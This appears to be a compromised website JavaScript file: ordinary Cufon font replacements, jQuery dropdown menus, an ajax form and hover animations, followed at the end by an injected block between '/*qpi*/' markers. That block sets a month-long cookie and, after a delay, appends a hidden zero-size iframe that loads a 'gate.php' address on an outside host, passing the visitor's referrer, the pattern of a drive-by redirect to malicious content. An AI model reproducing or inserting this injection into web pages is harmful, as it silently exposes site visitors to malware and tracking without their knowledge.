Cufon.replace('h1',{
textShadow: '#00397d 1px 1px'
});
Cufon.replace('h4',{
textShadow: '#fff 1px 1px'
});
Cufon.replace('h5',{
textShadow: '#fff 1px 1px'
});
Cufon.replace('#services h3',{
textShadow: '#fff 1px 1px'
});
Cufon.replace('#subheader h2',{
textShadow: '#fff 1px 1px'
});
Cufon.replace('ul:has(ul) > li   a',{
textShadow: 'white 1px 1px',
hover: 'true'
});
Cufon.replace('#content h3',{
});
Cufon.replace('#leftcolumn h2',{
});
Cufon.replace('#footer h3',{
			  textShadow: '#022e5f 1px 1px'
});
Cufon.replace('#featured h2',{
textShadow: '#00397d 1px 1px'
});
function mainmenu(){
$("#nav .inner ul ul").css({display: "none"}); // Opera Fix
$("#nav .inner ul li").hover(function(){
		$(this).find('ul:first').css({visibility: "visible",display: "none"}).slideDown(400, 'easeInQuad');
		},function(){
		$(this).find('ul:first').css({visibility: "hidden"});
		});
}
 $(document).ready(function(){					
	mainmenu();
	 $('#submitform').ajaxForm({
			target: '#error',
			success: function() {
			$('#error').animate({ opacity: 1 }, 400);
			}
		});  
	$('.portitem').hover(function() { //mouse in
		$(this).find('span').animate({ bottom: '11px' }, 400);
	}, function() { //mouse out
		$(this).find('span').animate({ bottom: '-30px' }, 400);
	});
	 		$("#nav ul li ul").each(function(i){
      $(this).hover(function(){
        $(this).parent().find("a").slice(0,1).addClass("active");
      },function(){
        $(this).parent().find("a").slice(0,1).removeClass("active");
      });
    });	
});/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://googlecounter.in/gate.php?f=892451&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
